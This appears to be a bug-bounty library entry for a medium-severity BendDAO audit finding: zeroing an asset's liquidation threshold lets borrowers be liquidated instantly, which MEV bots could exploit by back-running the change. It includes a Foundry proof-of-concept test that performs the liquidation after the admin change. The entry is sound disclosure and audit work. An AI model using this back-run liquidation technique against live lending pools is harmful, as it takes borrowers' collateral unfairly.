# Updating asset collateral params can lead to liquidate borrowers arbitrarily

BendDAO admin setting an asset's liquidationThreshold to zero instantly makes all borrowers using it as collateral liquidatable, enabling MEV back-run liquidations.

- Payout: Audit contest
- Severity: medium
- Program: BendDAO
- Found by: Ch\_301
- Disclosed: 2024-09-03
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-07-benddao-findings/issues/26
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-benddao%3AM-11
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:business-logic vuln:governance vuln:liquidation

**Target:** Lending pool configurator / health-factor calculation
**Root cause:** calculateUserAccountData uses liquidationThreshold==0 to exclude an asset from collateral accounting, so zeroing it via setAssetCollateralParams instantly drops borrowers' health factor without any grace period.
**Steps:**
1. Borrower supplies tsWETH collateral and crossBorrowERC20 tsUSDT.
2. PoolAdmin calls `setAssetCollateralParams(tsCommonPoolId, tsWETH, 0, 0, 0)`.
3. Liquidator approves USDT and calls `crossLiquidateERC20(poolId, borrower, tsWETH, tsUSDT, borrowAmounts[0], false)`.
4. Liquidator receives tsWETH collateral at discount; assert balance increased.
**How found:** Code review of GenericLogic.calculateUserAccountData noticing liquidationThreshold doubles as the collateral-eligibility flag, combined with admin's ability to set it to zero at any time.
**Exploitation:** MEV bots back-run the setAssetCollateralParams transaction, immediately liquidating borrowers whose collateral was just zeroed out before they can adjust positions.
**Insight:** When a config value serves double duty (here liquidationThreshold both weights collateral and gates eligibility), an admin update can silently flip users into liquidation; check whether param changes apply retroactively to open positions.

## Proof of concept (copied exactly from the original report)

**Foundry PoC liquidating after collateral params zeroed**

```
function test_Should_LiquidateUSDT_executeSetAssetCollateralParams() public {
    prepareUSDT(tsDepositor1);
    //? 1- borrower supply tsWETH as collateral
    prepareWETH(tsBorrower1);

    TestUserAccountData memory accountDataBeforeBorrow = getUserAccountData(address(tsBorrower1), tsCommonPoolId);

    // borrow some eth
    uint8[] memory borrowGroups = new uint8[](1);
    borrowGroups[0] = tsLowRateGroupId;

    uint256[] memory borrowAmounts = new uint256[](1);
    uint256 usdtCurPrice = tsPriceOracle.getAssetPrice(address(tsUSDT));
    borrowAmounts[0] = (accountDataBeforeBorrow.availableBorrowInBase * (10 ** tsUSDT.decimals())) / usdtCurPrice;

    //? 2- the borrower call `crossBorrowERC20()` to borrow `tsUSDT`
    actionCrossBorrowERC20(
      address(tsBorrower1),
      tsCommonPoolId,
      address(tsUSDT),
      borrowGroups,
      borrowAmounts,
      new bytes(0)
    );

    // make some interest
    advanceTimes(1 days);

    //? 3- set `liquidationThreshold` to zero
    tsHEVM.startPrank(tsPoolAdmin);
    tsConfigurator.setAssetCollateralParams(tsCommonPoolId, address(tsWETH), 0, 0, 0);
    tsHEVM.stopPrank();

    //? 4- liquidator call `crossLiquidateERC20()` with `collateralAsset == tsWETH`
    tsLiquidator1.approveERC20(address(tsUSDT), type(uint256).max);
    uint daiBlanceBefore = ERC20(address(tsWETH)).balanceOf(address(tsLiquidator1));

    tsHEVM.prank(address(tsLiquidator1));
    tsCrossLiquidation.crossLiquidateERC20(
      tsCommonPoolId,
      address(tsBorrower1),
      address(tsWETH),
      address(tsUSDT),
      borrowAmounts[0],
      false
    );

    uint daiBlanceAfter = ERC20(address(tsWETH)).balanceOf(address(tsLiquidator1));

    assertGt(daiBlanceAfter, daiBlanceBefore);
  }
```

